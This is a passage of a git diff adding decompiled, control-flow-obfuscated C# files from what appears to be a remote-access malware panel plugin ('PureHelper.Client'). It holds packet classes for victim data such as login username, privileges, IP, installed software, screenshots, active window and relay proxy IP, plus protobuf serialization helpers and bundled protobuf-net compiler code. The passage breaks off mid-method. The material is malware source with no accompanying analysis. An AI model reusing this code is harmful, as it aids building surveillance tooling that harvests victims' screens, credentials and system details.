(_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0eb6b5636bc94506af0ea669ffeed289 != 0) + { + num2 = 0; + } + } + } + } + } + + [ProtoMember(7)] + public string PayloadPrivileges + { + [CompilerGenerated] + get + { + return iYhujqJVp; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + iYhujqJVp = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_21ac3f6ffcc747a2933641e3aceb2e8e == 0) + { + num2 = 0; + } + } + } + } + } + + [ProtoMember(8)] + public string LoginUsername + { + [CompilerGenerated] + get + { + return bQgxNKW3f; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + bQgxNKW3f = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cf6b861499bb4e93b913b0104cf85d80 == 0) + { + num2 = 0; + } + } + } + } + } + + [ProtoMember(9)] + public int ConnectedPort + { + [CompilerGenerated] + get + { + return g8w0qDVKM; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + g8w0qDVKM = num3; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0b44419b977642f69e5d9c6839680b67 == 0) + { + num2 = 6; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(10)] + public string ConnectedIP + { + [CompilerGenerated] + get + { + return UwOerkb4V; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 1: + break; + case 0: + return; + } + goto IL_001d; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001d; + IL_001d: + UwOerkb4V = uwOerkb4V; + num2 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1b3d64cf90d3478ea689f41ea1de0e20 != 0) + { + num2 = 0; + } + } + } + } + } + + [ProtoMember(11)] + public string InstalledSoftwares + { + [CompilerGenerated] + get + { + return wmFH4mEmc; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + wmFH4mEmc = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba6efaf0d2294319ae0da035931c22d1 == 0) + { + num2 = 6; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(12)] + public int Api + { + [CompilerGenerated] + get + { + return sdH66dl8l; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + sdH66dl8l = num3; + num2 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_a9147deb311449e1af3e1c05bc2ac7f0 == 0) + { + num2 = 0; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(13)] + public string Country + { + [CompilerGenerated] + get + { + return zBhrhTJmF; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + zBhrhTJmF = text; + num2 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_e9aacb5e27eb43b38c6a07cda87839c0 != 0) + { + num2 = 0; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(14)] + public string Group + { + [CompilerGenerated] + get + { + return KVt35jMIE; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 1: + KVt35jMIE = kVt35jMIE; + num2 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 != 0) + { + num2 = 0; + } + continue; + case 0: + return; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(15)] + public string ProcessPath + { + [CompilerGenerated] + get + { + return TTKqOkedF; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 1: + TTKqOkedF = tTKqOkedF; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_facf28e488a94c39b60d8c8a04f98a66 == 0) + { + num2 = 5; + } + continue; + case 0: + return; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(16)] + public string LastActivityAsString + { + [CompilerGenerated] + get + { + return PbyXpLK4s; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 1: + break; + case 0: + return; + } + goto IL_001d; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001d; + IL_001d: + PbyXpLK4s = pbyXpLK4s; + num2 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_6a3f56ff5de44bac98d9c08e25a662a2 == 0) + { + num2 = 0; + } + } + } + } + } + + [ProtoMember(17)] + public byte[] Screenshot + { + [CompilerGenerated] + get + { + return pPNhwn6hy; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + pPNhwn6hy = array; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_39adc595083c4bb6915cfffdabca57d7 == 0) + { + num2 = 4; + } + } + } + } + } + + [ProtoMember(18)] + public string ActiveWindow + { + [CompilerGenerated] + get + { + return PE5GyEhKs; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + PE5GyEhKs = pE5GyEhKs; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_853e64fb4ead47df85068e27da1ecb7b == 0) + { + num2 = 2; + } + } + } + } + } + + [ProtoMember(19)] + public bool IsRelayProxy + { + [CompilerGenerated] + get + { + return XeXbv2dKN; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + XeXbv2dKN = xeXbv2dKN; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_facf28e488a94c39b60d8c8a04f98a66 != 0) + { + num2 = 0; + } + } + } + } + } + + [ProtoMember(20)] + public string RelayIP + { + [CompilerGenerated] + get + { + return NPajAHbBm; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + NPajAHbBm = nPajAHbBm; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_a9147deb311449e1af3e1c05bc2ac7f0 != 0) + { + num2 = 5; + } + } + } + } + } + + public ClientInformation() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_2c4908f24e22416e88d1fa82d96dd701 == 0) + { + num = 0; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool AmcJgwLLG2rh0HyEUJE() + { + return HNUBs4L26A7KubZTBXe == null; + } + + internal static ClientInformation LwHAeRLkkl5AOu9ifnJ() + { + return HNUBs4L26A7KubZTBXe; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/CustomPacket.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/CustomPacket.cs new file mode 100644 index 0000000..1212b5c --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/CustomPacket.cs @@ -0,0 +1,90 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using PluginSDK.Interfaces; +using ProtoBuf; +using XW3iQq2AVWsC9kohc8a; + +namespace PluginSDK.Packets; + +[ProtoContract] +[ComVisible(false)] +public class CustomPacket : IPacket +{ + [CompilerGenerated] + private byte[] glbOhpxdU; + + private static CustomPacket AqYMCiLJ0xbhldEr5v7; + + [ProtoMember(3)] + public byte[] Buffer + { + [CompilerGenerated] + get + { + return glbOhpxdU; + } + [CompilerGenerated] + set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 1: + glbOhpxdU = value; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_6651f8592e684e849da751d50852d553 != 0) + { + num2 = 0; + } + continue; + case 0: + return; + } + break; + } + } + while (num == 989); + } + } + + public CustomPacket() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 2; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 == 0) + { + num = 0; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool wUdrJLL1CINXgUMRmMm() + { + return AqYMCiLJ0xbhldEr5v7 == null; + } + + internal static CustomPacket lmikI5LAUx4SgpLBKsq() + { + return AqYMCiLJ0xbhldEr5v7; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/ImPlugin.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/ImPlugin.cs new file mode 100644 index 0000000..90a2678 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/ImPlugin.cs @@ -0,0 +1,187 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using PluginSDK.Enums; +using PluginSDK.Interfaces; +using ProtoBuf; +using XW3iQq2AVWsC9kohc8a; + +namespace PluginSDK.Packets; + +[ProtoContract] +[ComVisible(false)] +public class ImPlugin : IPacket +{ + [CompilerGenerated] + private ClientInformation Og6KPCllM; + + [CompilerGenerated] + private EnumPlugins icazxFjCP; + + [CompilerGenerated] + private string rkMifup0hl; + + internal static ImPlugin Dx5AdrLNOi4li7Y23Db; + + [ProtoMember(1)] + public ClientInformation ClientInformation + { + [CompilerGenerated] + get + { + return Og6KPCllM; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 1: + Og6KPCllM = og6KPCllM; + num2 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cb9c626824424572a150665e8d57c6e7 != 0) + { + num2 = 0; + } + continue; + case 0: + return; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(2)] + public EnumPlugins Plugin + { + [CompilerGenerated] + get + { + return icazxFjCP; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 1: + break; + case 0: + return; + } + goto IL_001d; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001d; + IL_001d: + icazxFjCP = enumPlugins; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_8f981747ae1949e699313fa1f44f884d != 0) + { + num2 = 2; + } + } + } + } + } + + [ProtoMember(3)] + public string ExtraParameter + { + [CompilerGenerated] + get + { + return rkMifup0hl; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + rkMifup0hl = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f657717d8f834c178c7cd09a108bbe65 != 0) + { + num2 = 0; + } + } + } + } + } + + public ImPlugin() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_29334a1357a4447b94464649938f08b9 != 0) + { + num = 0; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool vnPHJHLyCLsMXixl79N() + { + return Dx5AdrLNOi4li7Y23Db == null; + } + + internal static ImPlugin QoGwgaLTbgmJtF4cw6U() + { + return Dx5AdrLNOi4li7Y23Db; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK/Serialization.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK/Serialization.cs new file mode 100644 index 0000000..86085d6 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK/Serialization.cs @@ -0,0 +1,273 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using PluginSDK.Interfaces; +using ProtoBuf; +using WHtonEnRQ3TyPp1lZXF; + +namespace PluginSDK; + +[ComVisible(false)] +public static class Serialization +{ + internal static Serialization QmBRb7LiZdPAAWaWuqd; + + internal static byte[] Ev3No9Wbt(object P_0) + { + int num = 2; + MemoryStream memoryStream = default(MemoryStream); + int num4 = default(int); + byte[] result = default(byte[]); + int num6 = default(int); + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0014; + case 1: + try + { + Serializer.Serialize((Stream)memoryStream, (IPacket)P_0); + int num3 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_6651f8592e684e849da751d50852d553 == 0) + { + num3 = 6; + } + while (true) + { + switch (num3) + { + default: + if (num4 == 990) + { + num3 = num4; + continue; + } + break; + case 1: + memoryStream.Position = 0L; + num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f25311c256b24afb83430c7b2ff15b49 == 0) + { + num3 = 6; + } + continue; + case 0: + break; + case 2: + goto end_IL_0048; + } + result = Hs1p7bnIKthS4T2pSI7.mXDnCAbl6k(memoryStream.ToArray()); + num3 = 2; + continue; + end_IL_0048: + break; + } + } + finally + { + int num5; + if (memoryStream == null) + { + num5 = 2; + goto IL_00a9; + } + goto IL_00c8; + IL_00c8: + ((IDisposable)memoryStream).Dispose(); + num5 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_26f406ee7475415ea8607e0d9d8ee024 == 0) + { + num5 = 1; + } + goto IL_00a9; + IL_00a9: + while (true) + { + switch (num5) + { + default: + if (num6 == 990) + { + goto IL_00a7; + } + goto end_IL_00a9; + case 0: + break; + case 2: + goto end_IL_00a9; + case 1: + goto end_IL_00a9; + } + goto IL_00c8; + IL_00a7: + num5 = num6; + continue; + end_IL_00a9: + break; + } + } + break; + case 2: + memoryStream = new MemoryStream(); + num2 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_bdeabfc7dc3c456c87949484ef8ce8c5 == 0) + { + num2 = 4; + } + continue; + case 0: + break; + } + goto IL_012a; + IL_0014: + if (num == 990) + { + break; + } + goto IL_012a; + IL_012a: + return result; + } + } + } + + public static IPacket PacketDesirialize(byte[] data) + { + int num = 1; + MemoryStream memoryStream = default(MemoryStream); + int num4 = default(int); + IPacket result = default(IPacket); + int num6 = default(int); + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + if (num == 990) + { + goto end_IL_0003; + } + goto case 0; + case 1: + memoryStream = new MemoryStream(Hs1p7bnIKthS4T2pSI7.QSUnNKj0pb(data)); + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba76871b56e54f669cda2d26609cc5b4 == 0) + { + num2 = 5; + } + continue; + case 0: + try + { + memoryStream.Position = 0L; + int num3 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1b3d64cf90d3478ea689f41ea1de0e20 != 0) + { + num3 = 1; + } + while (true) + { + switch (num3) + { + default: + if (num4 == 989) + { + num3 = num4; + continue; + } + break; + case 1: + break; + case 0: + goto end_IL_0066; + } + result = Serializer.Deserialize(memoryStream); + num3 = 7; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c29de6cf9a314eb89482fe4c2290bc42 == 0) + { + num3 = 0; + } + continue; + end_IL_0066: + break; + } + } + finally + { + int num5; + if (memoryStream == null) + { + num5 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_94e78e0769e54be39e13ceab800bcc0d != 0) + { + num5 = 3; + } + goto IL_00c4; + } + goto IL_00e3; + IL_00c4: + while (true) + { + switch (num5) + { + default: + if (num6 == 990) + { + goto IL_00c2; + } + break; + case 2: + break; + case 1: + goto end_IL_00c4; + case 0: + goto end_IL_00c4; + } + goto IL_00e3; + IL_00c2: + num5 = num6; + continue; + end_IL_00c4: + break; + } + goto end_IL_009d; + IL_00e3: + ((IDisposable)memoryStream).Dispose(); + num5 = 3; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_9dfdbeb3592e4807b15dd3a37534d3a2 != 0) + { + num5 = 0; + } + goto IL_00c4; + end_IL_009d:; + } + break; + case 2: + break; + } + return result; + continue; + end_IL_0003: + break; + } + } + } + + internal static bool Gshd9ULnCkmtcydk5oS() + { + return QmBRb7LiZdPAAWaWuqd == null; + } + + internal static Serialization wapt5lLmIxcLWIKTT2K() + { + return QmBRb7LiZdPAAWaWuqd; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/Properties/AssemblyInfo.cs b/decompiled/PanelPlugins/PureHelper.Client/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..d7b208d --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/Properties/AssemblyInfo.cs @@ -0,0 +1,8 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; + +[assembly: ComVisible(true)] +[assembly: AssemblyVersion("0.0.0.0")] diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/CodeLabel.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/CodeLabel.cs new file mode 100644 index 0000000..49180ef --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/CodeLabel.cs @@ -0,0 +1,10 @@ +using System.Reflection.Emit; + +namespace ProtoBuf.Compiler; + +internal readonly struct CodeLabel(Label value, int index) +{ + public readonly Label Value = value; + + public readonly int Index = index; +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/CompilerContext.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/CompilerContext.cs new file mode 100644 index 0000000..e561bd3 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/CompilerContext.cs @@ -0,0 +1,1339 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Reflection.Emit; +using System.Runtime.CompilerServices; +using System.Threading; +using ProtoBuf.Meta; +using ProtoBuf.Serializers; + +namespace ProtoBuf.Compiler; + +internal sealed class CompilerContext +{ + private sealed class UsingBlock : IDisposable + { + private Local local; + + private CompilerContext ctx; + + private CodeLabel label; + + public UsingBlock(CompilerContext ctx, Local local) + { + if (ctx == null) + { + throw new ArgumentNullException("ctx"); + } + if (local == null) + { + throw new ArgumentNullException("local"); + } + Type type = local.Type; + if ((!Helpers.IsValueType(type) && !Helpers.IsSealed(type)) || ctx.MapType(typeof(IDisposable)).IsAssignableFrom(type)) + { + this.local = local; + this.ctx = ctx; + label = ctx.BeginTry(); + } + } + + public void Dispose() + { + if (this.local == null || ctx == null) + { + return; + } + ctx.EndTry(label, @short: false); + ctx.BeginFinally(); + Type type = ctx.MapType(typeof(IDisposable)); + MethodInfo method = type.GetMethod("Dispose"); + Type type2 = this.local.Type; + if (Helpers.IsValueType(type2)) + { + ctx.LoadAddress(this.local, type2); + if (ctx.MetadataVersion == ILVersion.Net1) + { + ctx.LoadValue(this.local); + ctx.CastToObject(type2); + } + else + { + ctx.Constrain(type2); + } + ctx.EmitCall(method); + } + else + { + CodeLabel codeLabel = ctx.DefineLabel(); + if (type.IsAssignableFrom(type2)) + { + ctx.LoadValue(this.local); + ctx.BranchIfFalse(codeLabel, @short: true); + ctx.LoadAddress(this.local, type2); + } + else + { + using Local local = new Local(ctx, type); + ctx.LoadValue(this.local); + ctx.TryCast(type); + ctx.CopyValue(); + ctx.StoreValue(local); + ctx.BranchIfFalse(codeLabel, @short: true); + ctx.LoadAddress(local, type); + } + ctx.EmitCall(method); + ctx.MarkLabel(codeLabel); + } + ctx.EndFinally(); + this.local = null; + ctx = null; + label = default(CodeLabel); + } + } + + public enum ILVersion + { + Net1, + Net2 + } + + private readonly DynamicMethod method; + + private static int next; + + private readonly bool isStatic; + + private readonly RuntimeTypeModel.SerializerPair[] methodPairs; + + private readonly bool isWriter; + + private readonly bool nonPublic; + + private readonly Local inputValue; + + private readonly string assemblyName; + + private readonly ILGenerator il; + + private MutableList locals = new MutableList(); + + private int nextLabel; + + private BasicList knownTrustedAssemblies; + + private BasicList knownUntrustedAssemblies; + + private readonly TypeModel model; + + private readonly ILVersion metadataVersion; + + public TypeModel Model => model; + + internal bool NonPublic => nonPublic; + + public Local InputValue => inputValue; + + public ILVersion MetadataVersion => metadataVersion; + + internal CodeLabel DefineLabel() + { + CodeLabel result = new CodeLabel(il.DefineLabel(), nextLabel++); + return result; + } + + [Conditional("DEBUG_COMPILE")] + private void TraceCompile(string value) + { + } + + internal void MarkLabel(CodeLabel label) + { + il.MarkLabel(label.Value); + } + + public static ProtoSerializer BuildSerializer(IProtoSerializer head, TypeModel model) + { + Type expectedType = head.ExpectedType; + try + { + CompilerContext compilerContext = new CompilerContext(expectedType, isWriter: true, isStatic: true, model, typeof(object)); + compilerContext.LoadValue(compilerContext.InputValue); + compilerContext.CastFromObject(expectedType); + compilerContext.WriteNullCheckedTail(expectedType, head, null); + compilerContext.Emit(OpCodes.Ret); + return (ProtoSerializer)compilerContext.method.CreateDelegate(typeof(ProtoSerializer)); + } + catch (Exception innerException) + { + string text = expectedType.FullName; + if (string.IsNullOrEmpty(text)) + { + text = expectedType.Name; + } + throw new InvalidOperationException("It was not possible to prepare a serializer for: " + text, innerException); + } + } + + public static ProtoDeserializer BuildDeserializer(IProtoSerializer head, TypeModel model) + { + Type expectedType = head.ExpectedType; + CompilerContext compilerContext = new CompilerContext(expectedType, isWriter: false, isStatic: true, model, typeof(object)); + using (Local local = new Local(compilerContext, expectedType)) + { + if (!Helpers.IsValueType(expectedType)) + { + compilerContext.LoadValue(compilerContext.InputValue); + compilerContext.CastFromObject(expectedType); + compilerContext.StoreValue(local); + } + else + { + compilerContext.LoadValue(compilerContext.InputValue); + CodeLabel label = compilerContext.DefineLabel(); + CodeLabel label2 = compilerContext.DefineLabel(); + compilerContext.BranchIfTrue(label, @short: true); + compilerContext.LoadAddress(local, expectedType); + compilerContext.EmitCtor(expectedType); + compilerContext.Branch(label2, @short: true); + compilerContext.MarkLabel(label); + compilerContext.LoadValue(compilerContext.InputValue); + compilerContext.CastFromObject(expectedType); + compilerContext.StoreValue(local); + compilerContext.MarkLabel(label2); + } + head.EmitRead(compilerContext, local); + if (head.ReturnsValue) + { + compilerContext.StoreValue(local); + } + compilerContext.LoadValue(local); + compilerContext.CastToObject(expectedType); + } + compilerContext.Emit(OpCodes.Ret); + return (ProtoDeserializer)compilerContext.method.CreateDelegate(typeof(ProtoDeserializer)); + } + + internal void Return() + { + Emit(OpCodes.Ret); + } + + private static bool IsObject(Type type) + { + return (object)type == typeof(object); + } + + internal void CastToObject(Type type) + { + if (!IsObject(type)) + { + if (Helpers.IsValueType(type)) + { + il.Emit(OpCodes.Box, type); + } + else + { + il.Emit(OpCodes.Castclass, MapType(typeof(object))); + } + } + } + + internal void CastFromObject(Type type) + { + if (IsObject(type)) + { + return; + } + if (Helpers.IsValueType(type)) + { + if (MetadataVersion == ILVersion.Net1) + { + il.Emit(OpCodes.Unbox, type); + il.Emit(OpCodes.Ldobj, type); + } + else + { + il.Emit(OpCodes.Unbox_Any, type); + } + } + else + { + il.Emit(OpCodes.Castclass, type); + } + } + + internal MethodBuilder GetDedicatedMethod(int metaKey, bool read) + { + if (methodPairs == null) + { + return null; + } + for (int i = 0; i < methodPairs.Length; i++) + { + if (methodPairs[i].MetaKey == metaKey) + { + if (!read) + { + return methodPairs[i].Serialize; + } + return methodPairs[i].Deserialize; + } + } + throw new ArgumentException("Meta-key not found", "metaKey"); + } + + internal int MapMetaKeyToCompiledKey(int metaKey) + { + if (metaKey < 0 || methodPairs == null) + { + return metaKey; + } + for (int i = 0; i < methodPairs.Length; i++) + { + if (methodPairs[i].MetaKey == metaKey) + { + return i; + } + } + throw new ArgumentException("Key could not be mapped: " + metaKey, "metaKey"); + } + + internal CompilerContext(ILGenerator il, bool isStatic, bool isWriter, RuntimeTypeModel.SerializerPair[] methodPairs, TypeModel model, ILVersion metadataVersion, string assemblyName, Type inputType, string traceName) + { + if (string.IsNullOrEmpty(assemblyName)) + { + throw new ArgumentNullException("assemblyName"); + } + this.assemblyName = assemblyName; + this.isStatic = isStatic; + this.methodPairs = methodPairs ?? throw new ArgumentNullException("methodPairs"); + this.il = il ?? throw new ArgumentNullException("il"); + this.isWriter = isWriter; + this.model = model ?? throw new ArgumentNullException("model"); + this.metadataVersion = metadataVersion; + if ((object)inputType != null) + { + inputValue = new Local(null, inputType); + } + } + + private CompilerContext(Type associatedType, bool isWriter, bool isStatic, TypeModel model, Type inputType) + { + metadataVersion = ILVersion.Net2; + this.isStatic = isStatic; + this.isWriter = isWriter; + this.model = model ?? throw new ArgumentNullException("model"); + nonPublic = true; + Type typeFromHandle; + Type[] parameterTypes; + if (isWriter) + { + typeFromHandle = typeof(void); + parameterTypes = new Type[2] + { + typeof(object), + typeof(ProtoWriter) + }; + } + else + { + typeFromHandle = typeof(object); + parameterTypes = new Type[2] + { + typeof(object), + typeof(ProtoReader) + }; + } + method = new DynamicMethod("proto_" + Interlocked.Increment(ref next), typeFromHandle, parameterTypes, associatedType.IsInterface ? typeof(object) : associatedType, skipVisibility: true); + il = method.GetILGenerator(); + if ((object)inputType != null) + { + inputValue = new Local(null, inputType); + } + } + + private void Emit(OpCode opcode) + { + il.Emit(opcode); + } + + public void 